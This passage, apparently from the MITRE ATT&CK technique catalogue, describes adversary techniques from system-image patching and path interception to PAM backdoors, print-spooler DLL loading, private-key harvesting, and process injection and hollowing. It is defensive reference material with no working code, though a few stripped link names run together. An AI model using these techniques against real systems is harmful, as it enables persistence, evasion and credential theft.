In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows “logon failure” event ID 4625.
T1601.001Patch System ImageAdversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.

To change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.

To change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.

In the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.

By modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include KeyloggingMulti-hop Proxy, and Port Knocking.

Adversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with Downgrade System Image, one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade.

When the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via TFTP Boot.

When the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with ROMMONkit to achieve persistence.
T1034Path InterceptionThis technique has been deprecated. Please use Path Interception by PATH Environment VariablePath Interception by Search Order Hijacking, and/or Path Interception by Unquoted Path.

Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function. (Citation: TechNet MS14-019)

There are multiple distinct weaknesses or misconfigurations that adversaries may take advantage of when performing path interception: unquoted paths, path environment variable misconfigurations, and search order hijacking. The first vulnerability deals with full program paths, while the second and third occur when program paths are not specified. These techniques can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

### Unquoted Paths

Service paths (stored in Windows Registry keys) (Citation: Microsoft Subkey) and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. “C:\safe path with space\program.exe”). (Citation: Baggett 2012) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: SecurityBoulevard Unquoted Services APR 2018) (Citation: SploitSpren Windows Priv Jan 2018)

### PATH Environment Variable Misconfiguration

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system “net” when “net” is executed from the command-line.

### Search Order Hijacking

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. The search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Hill NT Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, “example.exe” runs “cmd.exe” with the command-line argument net user. An adversary may place a program called “net.exe” within the same directory as example.exe, “net.exe” will be run instead of the Windows system utility net. In addition, if an adversary places a program called “net.com” in the same directory as “net.exe”, then cmd.exe /C net user will execute “net.com” instead of “net.exe” due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
T1574.007Path Interception by PATH Environment VariableAdversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. Adversaries may place a program in an earlier entry in the list of directories stored in the PATH environment variable, which Windows will then execute when it searches sequentially through that PATH listing in search of the binary that was called from a script or the command line.

The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.

For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system “net” when “net” is executed from the command-line.
T1574.008Path Interception by Search Order HijackingAdversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL Search Order Hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program’s directory.

For example, “example.exe” runs “cmd.exe” with the command-line argument net user. An adversary may place a program called “net.exe” within the same directory as example.exe, “net.exe” will be run instead of the Windows system utility net. In addition, if an adversary places a program called “net.com” in the same directory as “net.exe”, then cmd.exe /C net user will execute “net.com” instead of “net.exe” due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in DLL Search Order Hijacking.
T1574.009Path Interception by Unquoted PathAdversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary’s executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. “C:\safe path with space\program.exe”). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.
T1120Peripheral Device DiscoveryAdversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.(Citation: Peripheral Discovery Linux)(Citation: Peripheral Discovery macOS) Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
T1069Permission Groups DiscoveryAdversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.(Citation: CrowdStrike BloodHound April 2018)
T1566PhishingAdversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)

Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., User Execution).(Citation: Unit42 Luna Moth)
T1598Phishing for InformationAdversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code.

All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.

Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)

Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)

Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)
T1647Plist File ModificationAdversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the info.plist file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple’s Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. Hidden Window) or running additional commands for persistence (ex: Launch Agent/Launch Daemon or Re-opened Applications).

For example, adversaries can add a malicious application path to the ~/Library/Preferences/com.apple.dock.plist file, which controls apps that appear in the Dock. Adversaries can also modify the LSUIElement key in an application’s info.plist file to run the app in the background. Adversaries can also insert key-value pairs to insert environment variables, such as LSEnvironment, to enable persistence via Dynamic Linker Hijacking.(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)
T1150Plist ModificationProperty list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user’s privileges).
Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)
T1547.011Plist ModificationAdversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple’s Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description)

Adversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application’s Info.plist file.(Citation: wardle artofmalware volume1)
T1556.003Pluggable Authentication ModulesAdversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)

Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)

Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)
T1205.001Port KnockingAdversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
T1013Port MonitorsA port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
T1547.010Port MonitorsAdversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\Windows\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.
T1055.002Portable Executable InjectionAdversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process.
T1059.001PowerShellAdversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.(Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

A number of PowerShell-based offensive testing tools are available, including EmpirePowerSploitPoshC2, and PSAttack.(Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)
T1086PowerShellPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.

PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.

Administrator permissions are required to use PowerShell to connect to remote systems.

A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)

PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell’s underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)
T1546.013PowerShell ProfileAdversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.

PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)
T1504PowerShell ProfileAdversaries may gain persistence and elevate privileges in certain situations by abusing PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments. PowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles)

Adversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)

An adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)
IDNameDescription
T1542Pre-OS BootAdversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)

Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.
T1547.012Print ProcessorsAdversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot.

Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\[CurrentControlSet or ControlSet001]\Control\Print\Environments\[Windows architecture: e.g., Windows x64]\Print Processors\[user defined]\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.
T1145Private KeysPrivate cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users(username).ssh</code> on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)
T1552.004Private KeysAdversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via Network Device CLI commands such as crypto pki export.(Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.
T1003.007Proc FilesystemAdversaries may gather credentials from the proc filesystem or /proc. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the /proc/<PID>/maps file shows how memory is mapped within the process’s virtual address space. And /proc/<PID>/mem, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)

When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)

If running as or with the permissions of a web browser, a process can search the /maps & /mem locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.
T1055.009Proc MemoryAdversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.
T1564.010Process Argument SpoofingAdversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)

Adversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

This behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.
T1057Process DiscoveryAdversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.

On network devices, Network Device CLI commands such as show processes can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)
T1055.013Process DoppelgängingAdversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.

Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSectionVirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.

This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process.
T1186Process DoppelgängingWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)

Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging’s use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)

Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):

- Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
- Load – Create a shared section of memory and load the malicious executable.
- Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
- Animate – Create a process from the tainted section of memory and initiate execution.
T1093Process HollowingProcess hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)
T1055.012Process HollowingAdversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.

